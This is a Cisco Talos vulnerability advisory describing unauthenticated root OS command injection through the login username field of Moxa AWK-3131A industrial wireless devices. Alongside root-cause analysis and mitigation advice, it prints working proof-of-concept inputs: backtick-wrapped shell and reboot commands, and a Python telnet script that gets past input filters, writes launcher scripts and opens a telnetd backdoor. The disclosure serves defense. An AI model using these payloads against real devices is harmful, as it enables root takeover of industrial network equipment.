Talos Vulnerability Report

TALOS-2017-0507

Moxa AWK-3131A Multiple Features Login Username Parameter OS Command Injection Vulnerability

April 3, 2018
CVE Number

CVE-2017-14459

Summary

An exploitable OS Command Injection vulnerability exists in the Telnet, SSH, and console login functionality of Moxa AWK-3131A Industrial IEEE 802.11a/b/g/n wireless AP/bridge/client in firmware versions 1.4 to 1.7 (current). An attacker can inject commands via the username parameter of several services (SSH, Telnet, console), resulting in remote, unauthenticated, root-level operating system command execution.

Tested Versions

Moxa AWK-3131A Industrial IEEE 802.11a/b/g/n wireless AP/bridge/client versions 1.4 - 1.9

In addition, versions prior to 1.4 appear similarly vulnerable to injection, but not as easily exploitable (described below). Other models in the AWK product line may likewise be vulnerable but have not been tested.

Product URLs

http://www.moxa.com/product/AWK-3131A.htm

CVSSv3 Score

10.0 (Critical) - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') https://cwe.mitre.org/data/definitions/78.html

Details

The Moxa AWK-3131A Industrial IEEE 802.11a/b/g/n wireless AP/bridge/client is a wireless networking appliance intended for use in industrial environments. The manufacturer specifically highlights automated materials handling and automated guided vehicles as target markets.

It is possible to remotely inject operating system commands, without authentication, which the device will execute with root privileges.

The vulnerability appears to be a result of code which creates a log of failed authentication attempts. Any failed login of a service that relies on Busybox loginutils will trigger code similar to the following:

Versions 1.4 - 1.7

sprintf(buf, "/usr/sbin/iw_event_user %s %s %s", IW_LOG_AUTH_FAIL);
system(buf)

The input from the username field is passed as to an argument to iweventuser, which is then passed to system(), allowing for command injection.

Disassembly of some relevant code for a failed console login:

.text:0040D55C                 lui     $a1, 0x4A
.text:0040D560                 lui     $a3, 0x4A
.text:0040D564                 addiu   $a0, $sp, 0x128+var_108
.text:0040D568                 la      $a1, aUsrSbinIwEvent  # "/usr/sbin/iw_event_user fail SERIAL \"%s\" \"%s\"...
.text:0040D56C                 addiu   $a2, $sp, 0x128+var_88
.text:0040D570                 j       loc_40D584
[...snip...]
.text:0040D584 loc_40D584: # CODE XREF: sub_40D0B4+4BC↑j
.text:0040D584 la $t9, sprintf
.text:0040D588 jalr $t9 ; sprintf
.text:0040D58C addiu $s4, -1
.text:0040D590 lw $gp, 0x128+var_110($sp)
.text:0040D594 la $t9, system
.text:0040D598 jalr $t9 ; system

When OS commands are injected in the username field of a login, execution of the command can be identified in the process list, as shown below.

sh -c /usr/sbin/iw_event_user fail <SERVICE> "`<CMD>`" "<REMOTE_IP:PORT>"

For example, when injecting sh via Telnet, the below process will execute.

sh -c /usr/sbin/iw_event_user fail TELNET "`sh`" "<REMOTE_IP:PORT>"

Exploitation of this vulnerability has been confirmed via Telnet, SSH, and the local console port. It is suspected that the web application may also be vulnerable as it relies on loginutils and examination of the iweventuser binary reveals "fail" messages for "WEB", "TELNET", and "SSH".

By default, the device displays stderr output to the console, even without authentication. Redirecting stdout to stderr (using 1>&2) allows the attacker to receive console output when injecting OS commands.

Older versions of the firmware (1.3 and earlier) appear vulnerable but not as easily exploitable. For example, entering sh or reboot via the console port on version 1.0 will cause the console to hang/freeze and requires a power cycle to recover. The differences in exploitability between versions is likely due to a slight difference in the way in which log events were generated in v1.4 and earlier.

Versions 1.0 - 1.4

sprintf(buf, "/usr/sbin/iw_event %d", IW_LOG_AUTH_FAIL);
system(buf)

Exploit Proof-of-Concept

PoC 1 - Telnet, Console Port

The simplest proof-of-concept involves entering sh enclosed by backticks as the username of either the Telnet or console port login prompt. The result is temporary remote shell access with root privileges.

`sh` (backtick sh backtick)

Redirecting stdout to stderr will provide console output to the attacker.

`sh 1>&2` (backtick sh space 1 greater than ampersand 2 backtick)

PoC 2 - SSH

The below example injects the reboot command in the login parameter via SSH, causing the device to reboot. A backslash is used before each backtick.

ssh \'reboot\`@deviceip (ssh space backslash backtick command backspace backtick @deviceip)

PoC 3 - Remote Code Upload/Execution

Bypassing space limitations and input filters to upload and execute code

#!/usr/bin/env python2
import telnetlib
import re
import random
import string


# Split string into chunks, of which each is <= length
def chunkstring(s, length):
    return (s[0+i:length+i] for i in range(0, len(s), length))

# Split strings based on MAX_LEN. Encode any newlines and/or spaces.
def split_script(script):
    MAX_LEN = 28 - len('printf${IFS}"">>/var/a') - 1
    completed = []
    temp = re.split('(\n)', script)
    for content in temp:
        if len(content) != 0:
            for s in re.split('( )', content):
                if ' ' in s:
                    s = '\\x20'
                if '\n' in s:
                    s = ['\\n']
                else:
                    s = list(chunkstring(s, MAX_LEN))
                completed.append(s)

    return [item for sublist in completed for item in sublist] # Flatten nested list items

# Execute each command via the username parameter
def do_cmd(host, command):
    tn = telnetlib.Telnet(host)
    modCommand = command.replace(' ', '${IFS}') # Spaces aren't allowed, replace with ${IFS}
    tn.read_until("login: ")
    tn.write("`%s`\n" % modCommand)
    print "Sent command: %s\n    modified: %s\n        size: %d" % (command, modCommand, len(modCommand))
    tn.read_until("Password: ")
    tn.write(" " + "\n")
    tn.read_until("incorrect")
    tn.close()

# Write script to writable directory on host
def write_script(host, script, t_dir, t_name):
    print "[*] Writing shell script to host..."
    i = 0
    for token in split_script(script):
        carat = '>' if i == 0 else '>>'
        do_cmd(host, 'printf "%s"%s%s/%s' % (token, carat, t_dir, t_name))
        i+=1

    do_cmd(host, 'chmod +x %s/%s' % (t_dir,t_name))
    print "[*] Script written to: %s/%s\n" % (t_dir,t_name)

# Attempt to connect to newly-created backdoor
def backdoor_connect(host,port):
    print "[*] Attempting to connect to backdoor @ %s:%d" % (host, port)
    tn = telnetlib.Telnet(host, port)
    tn.interact()

def main():
    host = "192.168.127.253"
    port = random.randint(2048,4096)

    w_dir = '/var' # writable directory
    s_name = random.choice(string.ascii_uppercase) # /bin/sh launcher
    t_name = s_name.lower() # telnetd launcher

    # Need a shell launcher script to launch /bin/sh because
    # telnetd adds a '-h' option to the login command
    shell_launcher = "#!/bin/sh\nexec sh"

    # Launch telnetd with the launcher script as the login
    # command to execute
    telnetd_launcher = "#!/bin/sh\ntelnetd -p%d -l%s/%s" % (port, w_dir,s_name)

    write_script(host, shell_launcher, w_dir, s_name)
    write_script(host, telnetd_launcher, w_dir, t_name)

    # Execute telnetd script and attempt to connect
    do_cmd(host, '.%s/%s' % (w_dir,t_name))
    backdoor_connect(host, port)

if __name__ == "__main__":
    main()

Mitigation

To significantly mitigate risk of exploitation disable all remote services prior to the device being deployed. This includes SSH, Telnet, and the web application. An attacker with physical access may still exploit the vulnerability via the device's console port; physical access should be restricted.

With all remote services disabled, making remote configuration changes or firmware updates may require that the device be reset to factory defaults following the processes outlined in the device documentation. Ensure that the device configuration is exported prior to disabling remote services as it may be necessary to restore the configuration after a reset.

Timeline

2017-12-21 - Vendor Disclosure
2018-04-03 - Public Release

Credit

Discovered by Patrick DeSantis and Dave McDaniel of Cisco Talos.